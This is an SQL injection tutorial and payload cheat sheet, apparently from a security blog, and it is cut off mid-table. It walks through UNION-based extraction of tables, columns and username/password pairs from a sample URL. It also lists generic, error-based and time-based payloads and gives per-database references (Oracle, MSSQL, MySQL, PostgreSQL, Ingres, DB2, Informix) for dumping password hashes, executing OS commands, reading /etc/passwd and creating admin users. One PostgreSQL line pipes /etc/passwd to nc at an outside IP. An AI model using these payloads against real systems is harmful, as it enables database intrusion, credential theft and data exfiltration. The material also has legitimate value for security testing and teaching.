When an application is vulnerable to SQL injection and the results of the query are returned within the application’s responses, the UNION keyword can be used to retrieve data from other tables within the database. This results in an SQL injection UNION attack.
Example of vulnerable URL
- http://vk9-sec.com/report.php?id=23’ order by 5–+
Now we will use Union select statement over here.
- http://vk9-sec.com/report.php?id=23’ union select 1,2,3,4,5–+
what will it do is concatenate one more row to the output which will look like this
if you see any of these numbers printed in the webpage or the title or anywhere else then you can know the the developer is printing multiple rows. But in case you cannot see any of these numbers printed then you can simply invalidate the first query so that it won’t give any output and eventually your output will become the one and only output to be printed.
- http://vk9-sec.com/report.php?id=23’ and 0 union select 1,2,3,4,5–+
- http://vk9-sec.com/report.php?id=23’ and false union select 1,2,3,4,5–+
- http://vk9-sec.com/report.php?id=-23’ union select 1,2,3,4,5–+
- http://vk9-sec.com/report.php?id=null’ union select 1,2,3,4,5–+
- http://vk9-sec.com/report.php?id=23’ && 0 union select 1,2,3,4,5–+
Any of the number must be printed in the webpage again as basic thing to understand is that programmer may be only printing some particular columns from the output, lets say the third one. So we if we can see 3 in the page then its good otherwise we can try the query below with some other values.
- http://vk9-sec.com/report.php?id=-23’ union select ‘hello1′,’hello2′,’hello3′,’hello4′,’hello5’–+
Now just try to find it inside the source code. If you find hello1 that means the first columns is getting printed and if you found hello2 then the second column is getting printed and so on. Still sometimes if the programmer is using mysql_real_escape_string it may create an error or else no output. We can simply avoid the usage of single quotes using hex values. Below is the encoded query for the above same query.
- http://vk9-sec.com/report.php?id=-23’ union select 0x68656c6c6f31,0x68656c6c6f32,0x68656c6c6f33,0x68656c6c6f34,0x68656c6c6f35–+
One small thing to remember is that always add 0x before any hexadecimal value. Hopefully the above query should work and you will find the column which is getting printed on the webpage or inside the source code, now we can try some Default functions and variables, to get some information related to our target.
Variable/Function Output
@@hostname : Current Hostname
@@tmpdir : Temp Directory
@@datadir : Data Directory
@@version : Version of DB
@@basedir : Base Directory
user() : Current User
database() : Current Database
version() : Version
schema() : current Database
UUID() : System UUID key
current_user() : Current User
current_user : Current User
system_user() : Current System user
session_user() : Session user
@@GLOBAL.have_symlink : Check if Symlink Enabled or Disabled
@@GLOBAL.have_ssl : Check if it have ssl or not
As we know that third is the column which is getting printed so now we will use the above functions on place of that columns only.
To get the Current Database Name
- http://vk9-sec.com/report.php?id=-23 union select 1,2,database(),4,5–+
To get the Current Version
- http://vk9-sec.com/report.php?id=-23 union select 1,2,version(),4,5–+
To get the Current User
- http://vk9-sec.com/report.php?id=-23 union select 1,2,user(),4,5–+
To get the Temporary Directory Path
- http://vk9-sec.com/report.php?id=-23 union select 1,2,@@tmpdir,4,5–+
Data Extraction using SQLi
There are many ways to extract data using SQLi so first one is union based. First, I will show you the Queries and then show you how we can inject them.
Query: Select table_schema from information_schema.schemata
Injection: http://vk9-sec.com/report.php?id=-23’ union select 1,2,version(),4,5–+
Will give us names of all the Databases available. But as we found earlier that sometimes programmer may not be printing all the rows. He may be printing the first row from output. So in that case we can use limit keyword to enumerate the rows one by one.
First row
- Select table_schema from information_schema.schemata limit 0,1–+
Second row
- Select table_schema from information_schema.schemata limit 1,1–+
Third row
- Select table_schema from information_schema.schemata limit 2,1–+
Forth row
- Select table_schema from information_schema.schemata limit 3,1–+
In the above manner we can get each row one by one. Now let’s see how can we extract all the table names from a database.
Query :
- Select table_name from information_schema.tables where table_schema=’databasename’
Query for Current DB:
- Select table_name from information_schema.tables where table_schema=database()
Injection :
- http://vk9-sec.com/report.php?id=-23’ union select 1,2,table_name,4,5 from information_schema.tables where table_schema=database()–+
Above injection will give you all the rows at once, but if you want one by one then you can use limit.
First row
- http://vk9-sec.com/report.php?id=-23’ union select 1,2,table_name,4,5 from information_schema.tables where table_schema=database() limit 0,1–+
Second row
- http://vk9-sec.com/report.php?id=-23’ union select 1,2,table_name,4,5 from information_schema.tables where table_schema=database() limit 1,1–+
Third row
- http://vk9-sec.com/report.php?id=-23’ union select 1,2,table_name,4,5 from information_schema.tables where table_schema=database() limit 2,1–+
Forth row
- http://vk9-sec.com/report.php?id=-23’ union select 1,2,table_name,4,5 from information_schema.tables where table_schema=database() limit 3,1–+
After getting the Table Names we can move on and start collecting the names of Columns under any table. we can specify the table name as we have all the tablenames.
Query :
- Select column_name from information_schema.columns where table_schema=database() and table_name=’tablenamehere’
Injection :
- http://vk9-sec.com/report.php?id=-23’ union Select 1,2,column_name,4,5 from information_schema.columns where table_schema=database() and table_name=’tablenamehere’–+
If the above query do not give any output or an error. You can try to hex the tablename. And now we can try to get all the table names one by one if only one row is getting printed.
First row
- http://vk9-sec.com/report.php?id=-23’ union select 1,2,column_name,4,5 from information_schema.columns where table_schema=database() and table_name=’tablename’ limit 0,1–+
Second row
- http://vk9-sec.com/report.php?id=-23’ union select 1,2,column_name,4,5 from information_schema.columns where table_schema=database() and table_name=’tablename’ limit 1,1–+
Third row
- http://vk9-sec.com/report.php?id=-23’ union select 1,2,column_name,4,5 from information_schema.columns where table_schema=database() and table_name=’tablename’ limit 2,1–+
Forth row
- http://vk9-sec.com/report.php?id=-23’ union select 1,2,column_name,4,5 from information_schema.columns where table_schema=database() and table_name=’tablename’ limit 3,1–+
Now we know the database name, the table names and the column names so the last stage starts of extracting data from the columns. Now we have to specify from which column we want the data and from which table. Query and injection is simple at this stage
Query : Select column1, column2 from tablename
First row :
- http://vk9-sec.com/report.php?id=-23’ union Select 1,2,concat(column1,column2),4,5 from tablename limit 0,1–+
Second row :
- http://vk9-sec.com/report.php?id=-23’ union Select 1,2,concat(column1,column2),4,5 from tablename limit 1,1–+
Third row :
- http://vk9-sec.com/report.php?id=-23’ union Select 1,2,concat(column1,column2),4,5 from tablename limit 2,1–+
Forth row :
- http://vk9-sec.com/report.php?id=-23’ union Select 1,2,concat(column1,column2),4,5 from tablename limit 3,1–+
Extract multiple values from a single column
This uses the double-pipe sequence || which is a string concatenation operator on Oracle. The injected query concatenates together the values of the username and password fields, separated by the ~ character.
1. Find out the number of columns
- http://vk9-sec.com/report.php?id=-23’ union Select null — (fails)
- http://vk9-sec.com/report.php?id=-23’ union Select null,null — (succeeds)
2. Find out the data type
- http://vk9-sec.com/report.php?id=-23’ union Select ‘a’,null — (fails, not string)
- http://vk9-sec.com/report.php?id=-23’ union Select null,’a’ — (succeeds, string type)
3. This uses the double-pipe sequence || which is a string concatenation operator on Oracle. The injected query concatenates together the values of the username and password fields, separated by the ~ character.
- http://vk9-sec.com/report.php?id=-23’ union Select null,username || ‘~’ || password from users —
- http://vk9-sec.com/report.php?id=23’+union+select+null,username+||+’~’+||password+from+users–
This last alternative uses + instead of blank space to bypass security
Examining the database
When exploiting SQL injection vulnerabilities, it is often necessary to gather some information about the database itself. This includes the type and version of the database software, and the contents of the database in terms of which tables and columns it contains.
On Oracle databases, every SELECT statement must specify a table to select FROM. If your UNION SELECT attack does not query from a table, you will still need to include the FROM keyword followed by a valid table name.
Version oracle
- http://vk9-sec.com/report.php?id=23’+union+select+null,banner+from+v$version–
- http://vk9-sec.com/report.php?id=23 ‘ union select null,banner from v$version–
Version MySQL
- http://vk9-sec.com/report.php?id=23’+union+select+null,@@version–+
- http://vk9-sec.com/report.php?id=23’ union select null,@@version–+
Generic SQL Injection Payloads
'
''
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``
,
"
""
/
//
\
\\
;
' or "
-- or #
' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
' OR '' = '
'='
'LIKE'
'=0--+
OR 1=1
' OR 'x'='x
' AND id IS NULL; --
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%00
/*…*/
+ addition, concatenate (or space in url)
|| (double pipe) concatenate
% wildcard attribute indicator@variable local variable
@@variable global variable
# Numeric
AND 1
AND 0
AND true
AND false
1-false
1-true
1*56
-2
1' ORDER BY 1--+
1' ORDER BY 2--+
1' ORDER BY 3--+1' ORDER BY 1,2--+
1' ORDER BY 1,2,3--+1' GROUP BY 1,2,--+
1' GROUP BY 1,2,3--+
' GROUP BY columnnames having 1=1 --
-1' UNION SELECT 1,2,3--+
' UNION SELECT sum(columnname ) from tablename --
-1 UNION SELECT 1 INTO @,@
-1 UNION SELECT 1 INTO @,@,@1 AND (SELECT * FROM Users) = 1 ' AND MID(VERSION(),1,1) = '5';' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --
Finding the table name
Time-Based:
,(select * from (select(sleep(10)))a)
%2c(select%20*%20from%20(select(sleep(10)))a)
';WAITFOR DELAY '0:0:30'--Comments:# Hash comment
/* C-style comment
-- - SQL comment
;%00 Nullbyte
` Backtick
Generic Error Based Payloads
OR 1=1
OR 1=0
OR x=x
OR x=y
OR 1=1#
OR 1=0#
OR x=x#
OR x=y#
OR 1=1--
OR 1=0--
OR x=x--
OR x=y--
OR 3409=3409 AND ('pytW' LIKE 'pytW
OR 3409=3409 AND ('pytW' LIKE 'pytY
HAVING 1=1
HAVING 1=0
HAVING 1=1#
HAVING 1=0#
HAVING 1=1--
HAVING 1=0--
AND 1=1
AND 1=0
AND 1=1--
AND 1=0--
AND 1=1#
AND 1=0#
AND 1=1 AND '%'='
AND 1=0 AND '%'='
AND 1083=1083 AND (1427=1427
AND 7506=9091 AND (5913=5913
AND 1083=1083 AND ('1427=1427
AND 7506=9091 AND ('5913=5913
AND 7300=7300 AND 'pKlZ'='pKlZ
AND 7300=7300 AND 'pKlZ'='pKlY
AND 7300=7300 AND ('pKlZ'='pKlZ
AND 7300=7300 AND ('pKlZ'='pKlY
AS INJECTX WHERE 1=1 AND 1=1
AS INJECTX WHERE 1=1 AND 1=0
AS INJECTX WHERE 1=1 AND 1=1#
AS INJECTX WHERE 1=1 AND 1=0#
AS INJECTX WHERE 1=1 AND 1=1--
AS INJECTX WHERE 1=1 AND 1=0--
WHERE 1=1 AND 1=1
WHERE 1=1 AND 1=0
WHERE 1=1 AND 1=1#
WHERE 1=1 AND 1=0#
WHERE 1=1 AND 1=1--
WHERE 1=1 AND 1=0--
ORDER BY 1--
ORDER BY 2--
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ORDER BY 5--
ORDER BY 6--
ORDER BY 7--
ORDER BY 8--
ORDER BY 9--
ORDER BY 10--
ORDER BY 11--
ORDER BY 12--
ORDER BY 13--
ORDER BY 14--
ORDER BY 15--
ORDER BY 16--
ORDER BY 17--
ORDER BY 18--
ORDER BY 19--
ORDER BY 20--
ORDER BY 21--
ORDER BY 22--
ORDER BY 23--
ORDER BY 24--
ORDER BY 25--
ORDER BY 26--
ORDER BY 27--
ORDER BY 28--
ORDER BY 29--
ORDER BY 30--
ORDER BY 31337--
ORDER BY 1#
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ORDER BY 3#
ORDER BY 4#
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ORDER BY 6#
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ORDER BY 8#
ORDER BY 9#
ORDER BY 10#
ORDER BY 11#
ORDER BY 12#
ORDER BY 13#
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ORDER BY 15#
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ORDER BY 17#
ORDER BY 18#
ORDER BY 19#
ORDER BY 20#
ORDER BY 21#
ORDER BY 22#
ORDER BY 23#
ORDER BY 24#
ORDER BY 25#
ORDER BY 26#
ORDER BY 27#
ORDER BY 28#
ORDER BY 29#
ORDER BY 30#
ORDER BY 31337#
ORDER BY 1
ORDER BY 2
ORDER BY 3
ORDER BY 4
ORDER BY 5
ORDER BY 6
ORDER BY 7
ORDER BY 8
ORDER BY 9
ORDER BY 10
ORDER BY 11
ORDER BY 12
ORDER BY 13
ORDER BY 14
ORDER BY 15
ORDER BY 16
ORDER BY 17
ORDER BY 18
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ORDER BY 20
ORDER BY 21
ORDER BY 22
ORDER BY 23
ORDER BY 24
ORDER BY 25
ORDER BY 26
ORDER BY 27
ORDER BY 28
ORDER BY 29
ORDER BY 30
ORDER BY 31337
RLIKE (SELECT (CASE WHEN (4346=4346) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'='
RLIKE (SELECT (CASE WHEN (4346=4347) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'='
IF(7423=7424) SELECT 7423 ELSE DROP FUNCTION xcjl--
IF(7423=7423) SELECT 7423 ELSE DROP FUNCTION xcjl--
%' AND 8310=8310 AND '%'='
%' AND 8310=8311 AND '%'='
and (select substring(@@version,1,1))='X'
and (select substring(@@version,1,1))='M'
and (select substring(@@version,2,1))='i'
and (select substring(@@version,2,1))='y'
and (select substring(@@version,3,1))='c'
and (select substring(@@version,3,1))='S'
and (select substring(@@version,3,1))='X'
Functions and Variables
Oracle
Version |
SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’; |
Comments |
SELECT 1 FROM dual — comment |
Current User |
SELECT user FROM dual |
List Users |
SELECT username FROM all_users ORDER BY username; |
List Password Hashes |
SELECT name, password, astatus FROM sys.user$ — priv, <= 10g. astatus tells you if acct is locked |
Password Cracker |
checkpwd will crack the DES-based hashes from Oracle 8, 9 and 10. |
List Privileges |
SELECT * FROM session_privs; — current privs |
List DBA Accounts |
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv, list DBAs, DBA roles |
Current Database |
SELECT global_name FROM global_name; |
List Databases |
SELECT DISTINCT owner FROM all_tables; — list schemas (one per user) |
List Columns |
SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’; |
List Tables |
SELECT table_name FROM all_tables; |
Find Tables From Column Name |
SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’; — NB: table names are upper case |
Select Nth Row |
SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — gets 9th row (rows numbered from 1) |
Select Nth Char |
SELECT substr(‘abcd’, 3, 1) FROM dual; — gets 3rd character, ‘c’ |
Bitwise AND |
SELECT bitand(6,2) FROM dual; — returns 2 |
ASCII Value -> Char |
SELECT chr(65) FROM dual; — returns A |
Char -> ASCII Value |
SELECT ascii(‘A’) FROM dual; — returns 65 |
Casting |
SELECT CAST(1 AS char) FROM dual; |
String Concatenation |
SELECT ‘A’ || ‘B’ FROM dual; — returns AB |
If Statement |
BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; — doesn’t play well with SELECT statements |
Case Statement |
SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — returns 1 |
Avoiding Quotes |
SELECT chr(65) || chr(66) FROM dual; — returns AB |
Time Delay |
BEGIN DBMS_LOCK.SLEEP(5); END; — priv, can’t seem to embed this in a SELECT |
Make DNS Requests |
SELECT UTL_INADDR.get_host_address(‘google.com’) FROM dual; |
Command Execution |
Javacan be used to execute commands if it’s installed.ExtProc can sometimes be used too, though it normally failed for me. |
Local File Access |
UTL_FILE can sometimes be used. Check that the following is non-null: |
Hostname, IP Address |
SELECT UTL_INADDR.get_host_name FROM dual; |
Location of DB files |
SELECT name FROM V$DATAFILE; |
Default/System Databases |
SYSTEM |
Misc Tips
Get all tablenames in one string |
select rtrim(xmlagg(xmlelement(e, table_name || ‘,’)).extract(‘//text()’).extract(‘//text()’) ,’,’) from all_tables – when using union based SQLI with only one row |
Blind SQLI in order by clause |
order by case when ((select 1 from user_tables where substr(lower(table_name), 1, 1) = ‘a’ and rownum = 1)=1) then column_name1 else column_name2 end — you must know 2 column names with the same datatype |
MSSQL
Version |
SELECT @@version |
Comments |
SELECT 1 — comment |
Current User |
SELECT user_name(); |
List Users |
SELECT name FROM master..syslogins |
List Password Hashes |
SELECT name, password FROM master..sysxlogins — priv, mssql 2000; |
Password Cracker |
MSSQL 2000 and 2005 Hashes are both SHA1-based. phrasen|drescher can crack these. |
List Privileges |
– current privs on a particular object in 2005, 2008 –permissions on a user– current privs in 2005, 2008 – who has a particular priv? 2005, 2008 |
List DBA Accounts |
SELECT is_srvrolemember(‘sysadmin’); — is your account a sysadmin? returns 1 for true, 0 for false, NULL for invalid role. Also try ‘bulkadmin’, ‘systemadmin’ and other values from the documentation |
Current Database |
SELECT DB_NAME() |
List Databases |
SELECT name FROM master..sysdatabases; |
List Columns |
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only |
List Tables |
SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views |
Find Tables From Column Name |
– NB: This example works only for the current database. If you wan’t to search another db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects). |
Select Nth Row |
SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC — gets 9th row |
Select Nth Char |
SELECT substring(‘abcd’, 3, 1) — returns c |
Bitwise AND |
SELECT 6 & 2 — returns 2 |
ASCII Value -> Char |
SELECT char(0×41) — returns A |
Char -> ASCII Value |
SELECT ascii(‘A’) – returns 65 |
Casting |
SELECT CAST(’1′ as int); |
String Concatenation |
SELECT ‘A’ + ‘B’ – returns AB |
If Statement |
IF (1=1) SELECT 1 ELSE SELECT 2 — returns 1 |
Case Statement |
SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END — returns 1 |
Avoiding Quotes |
SELECT char(65)+char(66) — returns AB |
Time Delay |
WAITFOR DELAY ’0:0:5′ — pause for 5 seconds |
Make DNS Requests |
declare @host varchar(800); select @host = name FROM master..syslogins; exec(‘master..xp_getfiledetails ”\’ + @host + ‘c$boot.ini”’); — nonpriv, works on 2000declare @host varchar(800); select @host = name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) + ‘.2.pentestmonkey.net’ from sys.sql_logins; exec(‘xp_fileexist ”\’ + @host + ‘c$boot.ini”’); — priv, works on 2005– NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host. Messy but necessary. |
Command Execution |
EXEC xp_cmdshell ‘net user’; — privOn MSSQL 2005 you may need to reactivate xp_cmdshell first as it’s disabled by default: |
Local File Access |
CREATE TABLE mydata (line varchar(8000)); |
Hostname, IP Address |
SELECT HOST_NAME() |
Create Users |
EXEC sp_addlogin ‘user’, ‘pass’; — priv |
Drop Users |
EXEC sp_droplogin ‘user’; — priv |
Make User DBA |
EXEC master.dbo.sp_addsrvrolemember ‘user’, ‘sysadmin; — priv |
Location of DB files |
EXEC sp_helpdb master; –location of master.mdf |
Default/System Databases |
northwind |
MYSQL
Version |
SELECT @@version |
Comments |
SELECT 1; #comment |
Current User |
SELECT user(); |
List Users |
SELECT user FROM mysql.user; — priv |
List Password Hashes |
SELECT host, user, password FROM mysql.user; — priv |
Password Cracker |
John the Ripper will crack MySQL password hashes. |
List Privileges |
SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privs SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv, list user privs SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas) SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns |
List DBA Accounts |
SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’; SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv |
Current Database |
SELECT database() |
List Databases |
SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0 |
List Columns |
SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ |
List Tables |
SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ |
Find Tables From Column Name |
SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — find table which have a column called ‘username’ |
Select Nth Row |
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0 |
Select Nth Char |
SELECT substr(‘abcd’, 3, 1); # returns c |
Bitwise AND |
SELECT 6 & 2; # returns 2 |
ASCII Value -> Char |
SELECT char(65); # returns A |
Char -> ASCII Value |
SELECT ascii(‘A’); # returns 65 |
Casting |
SELECT cast(’1′ AS unsigned integer); |
String Concatenation |
SELECT CONCAT(‘A’,’B’); #returns AB |
If Statement |
SELECT if(1=1,’foo’,’bar’); — returns ‘foo’ |
Case Statement |
SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # returns A |
Avoiding Quotes |
SELECT 0×414243; # returns ABC |
Time Delay |
SELECT BENCHMARK(1000000,MD5(‘A’)); |
Make DNS Requests |
Impossible? |
Command Execution |
If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar). The .so file should contain a User Defined Function (UDF). raptor_udf.c explains exactly how you go about this. Remember to compile for the target architecture which may or may not be the same as your attack platform. |
Local File Access |
…’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, can only read world-readable files. |
Hostname, IP Address |
SELECT @@hostname; |
Create Users |
CREATE USER test1 IDENTIFIED BY ‘pass1′; — priv |
Delete Users |
DROP USER test1; — priv |
Make User DBA |
GRANT ALL PRIVILEGES ON *.* TO test1@’%’; — priv |
Location of DB files |
SELECT @@datadir; |
Default/System Databases |
information_schema (>= mysql 5.0) |
PostgresSQL
Version |
SELECT version() |
Comments |
SELECT 1; –comment |
Current User |
SELECT user; |
List Users |
SELECT usename FROM pg_user |
List Password Hashes |
SELECT usename, passwd FROM pg_shadow — priv |
Password Cracker |
MDCrack can crack PostgreSQL’s MD5-based passwords. |
List Privileges |
SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user |
List DBA Accounts |
SELECT usename FROM pg_user WHERE usesuper IS TRUE |
Current Database |
SELECT current_database() |
List Databases |
SELECT datname FROM pg_database |
List Columns |
SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r’) AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) |
List Tables |
SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid) |
Find Tables From Column Name |
If you want to list all the table names that contain a column LIKE ‘%password%’:SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r’) AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) AND attname LIKE ‘%password%’; |
Select Nth Row |
SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; — rows numbered from 0 |
Select Nth Char |
SELECT substr(‘abcd’, 3, 1); — returns c |
Bitwise AND |
SELECT 6 & 2; — returns 2 |
ASCII Value -> Char |
SELECT chr(65); |
Char -> ASCII Value |
SELECT ascii(‘A’); |
Casting |
SELECT CAST(1 as varchar); |
String Concatenation |
SELECT ‘A’ || ‘B’; — returnsAB |
If Statement |
IF statements only seem valid inside functions, so aren’t much use for SQL injection. See CASE statement instead. |
Case Statement |
SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; — returns A |
Avoiding Quotes |
SELECT CHR(65)||CHR(66); — returns AB |
Time Delay |
SELECT pg_sleep(10); — postgres 8.2+ only |
Make DNS Requests |
Generally not possible in postgres. However if contrib/dblinkis installed (it isn’t by default) it can be used to resolve hostnames (assuming you have DBA rights): SELECT * FROM dblink(‘host=put.your.hostname.here user=someuser dbname=somedb’, ‘SELECT version()’) RETURNS (result TEXT); Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. “ping pentestmonkey.net”. |
Command Execution |
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT; — privSELECT system(‘cat /etc/passwd | nc 10.0.0.1 8080′); — priv, commands run as postgres/pgsql OS-level user |
Local File Access |
CREATE TABLE mydata(t text); CREATE TABLE mytable (mycol text); |
Hostname, IP Address |
SELECT inet_server_addr(); — returns db server IP address (or null if using local connection) |
Create Users |
CREATE USER test1 PASSWORD ‘pass1′; — priv |
Drop Users |
DROP USER test1; — priv |
Make User DBA |
ALTER USER test1 CREATEUSER CREATEDB; — priv |
Location of DB files |
SELECT current_setting(‘data_directory’); — priv |
Default/System Databases |
template0 |
IngressSQL
Version |
select dbmsinfo(‘_version’); |
Comments |
SELECT 123; — comment |
Current User |
select dbmsinfo(‘session_user’); |
List Users |
First connect to iidbdb, then: |
Create Users |
create user testuser with password = ‘testuser’;– priv |
List Password Hashes |
First connect to iidbdb, then: |
List Privileges |
select dbmsinfo(‘db_admin’); |
List DBA Accounts |
TODO |
Current Database |
select dbmsinfo(‘database’); |
List Databases |
SELECT name FROM iidatabase; — connect to iidbdb |
List Columns |
select column_name, column_datatype, table_name, table_owner from iicolumns; |
List Tables |
select table_name, table_owner from iitables; |
Find Tables From Column Name |
SELECT table_name, table_owner FROM iicolumns WHERE column_name = ‘value’ |
Select Nth Row |
Astoundingly, this doesn’tseem to be possible! This is as close as you can get:select top 10 blah from table; |
Select Nth Char |
select substr(‘abc’, 2, 1); — returns ‘b’ |
Bitwise AND |
The function “bit_and” exists, but seems hard to use. Here’s an |
ASCII Value -> Char |
TODO |
Char -> ASCII Value |
TODO |
Casting |
select cast(123 as varchar); |
String Concatenation |
select ‘abc’ || ‘def’; |
If Statement |
TODO |
Case Statement |
TODO |
Avoiding Quotes |
TODO |
Time Delay |
???See Heavy Queries article for some ideas. |
Make DNS Requests |
TODO |
Command Execution |
Impossible? |
Local File Access |
TODO |
Hostname, IP Address |
SELECT dbmsinfo(‘ima_server’) |
Location of DB files |
SELECT dbdev, ckpdev, jnldev, sortdev FROM iidatabase WHERE name = ‘value’ — primary location of db |
Default/System Databases |
SELECT name FROM iidatabase WHERE own = ‘$ingres’ — connect to iidbdb |
Installing Locally |
The Ingres database can be downloaded for free from http://esd.ingres.com/ |
Database Client |
TODO |
Logging in from command line |
$ su – ingres |
Identifying on the network |
TODO |
The following areas are interesting enough to include on this page, but I haven’t researched them for other databases:
Description |
SQL / Comments |
Batching Queries Allowed? |
Not via DBI in PERL. Subsequent statements seem to get ignored: |
FROM clause mandated in SELECTs? |
No. You don’t need to select form “dual” or anything. The following is legal: |
UNION supported |
Yes. Nothing tricky here. The following is legal: |
Enumerate Tables Privs |
select table_name, permit_user, permit_type from iiaccess; |
Length of a string |
select length(‘abc’); — returns 3 |
Roles and passwords |
First you need to connect to iidbdb, then: |
List Database Procedures |
First you need to connect to iidbdb, then: |
Create Users + Granting Privs |
First you need to connect to iidbdb, then: |
DB2
Version |
select versionnumber, version_timestamp from sysibm.sysversions; |
Comments |
select blah from foo; — comment like this |
Current User |
select user from sysibm.sysdummy1; |
List Users |
N/A (I think DB2 uses OS-level user accounts for authentication.)Database authorities (like roles, I think) can be listed like this: |
List Password Hashes |
N/A (I think DB2 uses OS-level user accounts for authentication.) |
List Privileges |
select * from syscat.tabauth; — privs on tables |
List DBA Accounts |
select name from SYSIBM.SYSUSERAUTH where SYSADMAUTH = ‘Y’ or SYSADMAUTH = ‘G’ |
Current Database |
select current server from sysibm.sysdummy1; |
List Databases |
SELECT schemaname FROM syscat.schemata; |
List Columns |
select name, tbname, coltype from sysibm.syscolumns; |
List Tables |
select name from sysibm.systables; |
Find Tables From Column Name |
select tbname from sysibm.syscolumns where name=’username’ |
Select Nth Row |
select name from (SELECT name FROM sysibm.systables order by |
Select Nth Char |
SELECT SUBSTR(‘abc’,2,1) FROM sysibm.sysdummy1; — returns b |
Bitwise AND |
This page seems to indicate that DB2 has no support for bitwise operators! |
ASCII Value -> Char |
select chr(65) from sysibm.sysdummy1; — returns ‘A’ |
Char -> ASCII Value |
select ascii(‘A’) from sysibm.sysdummy1; — returns 65 |
Casting |
SELECT cast(’123′ as integer) FROM sysibm.sysdummy1; |
String Concatenation |
SELECT ‘a’ concat ‘b’ concat ‘c’ FROM sysibm.sysdummy1; — returns ‘abc’ |
If Statement |
TODO |
Case Statement |
TODO |
Avoiding Quotes |
TODO |
Time Delay |
???See Heavy Queries article for some ideas. |
Make DNS Requests |
TODO |
Command Execution |
TODO |
Local File Access |
TODO |
Hostname, IP Address |
TODO |
Location of DB files |
TODO |
Default/System Databases |
TODO |
Informix
Version |
SELECT DBINFO(‘version’, ‘full’) FROM systables WHERE tabid = 1; |
Comments |
select 1 FROM systables WHERE tabid = 1; — comment |
Current User |
SELECT USER FROM systables WHERE tabid = 1; |
List Users |
select username, usertype, password from sysusers; |
List Password Hashes |
TODO |
List Privileges |
select tabname, grantor, grantee, tabauth FROM systabauth join systables on systables.tabid = systabauth.tabid; — which tables are accessible by which users |
List DBA Accounts |
TODO |
Current Database |
SELECT DBSERVERNAME FROM systables where tabid = 1; — server name |
List Databases |
select name, owner from sysdatabases; |
List Columns |
select tabname, colname, owner, coltype FROM syscolumns join systables on syscolumns.tabid = systables.tabid; |
List Tables |
select tabname, owner FROM systables; |
List Stored Procedures |
select procname, owner FROM sysprocedures; |
Find Tables From Column Name |
select tabname, colname, owner, coltype FROM syscolumns join systables on syscolumns.tabid = systables.tabid where colname like ‘%pass%’; |
Select Nth Row |
select first 1 tabid from (select first 10 tabid from systables order by tabid) as sq order by tabid desc; — selects the 10th row |
Select Nth Char |
SELECT SUBSTRING(‘ABCD’ FROM 3 FOR 1) FROM systables where tabid = 1; — returns ‘C’ |
Bitwise AND |
select bitand(6, 1) from systables where tabid = 1; — returns 0 |
ASCII Value -> Char |
TODO |
Char -> ASCII Value |
select ascii(‘A’) from systables where tabid = 1; |
Casting |
select cast(’123′ as integer) from systables where tabid = 1; |
String Concatenation |
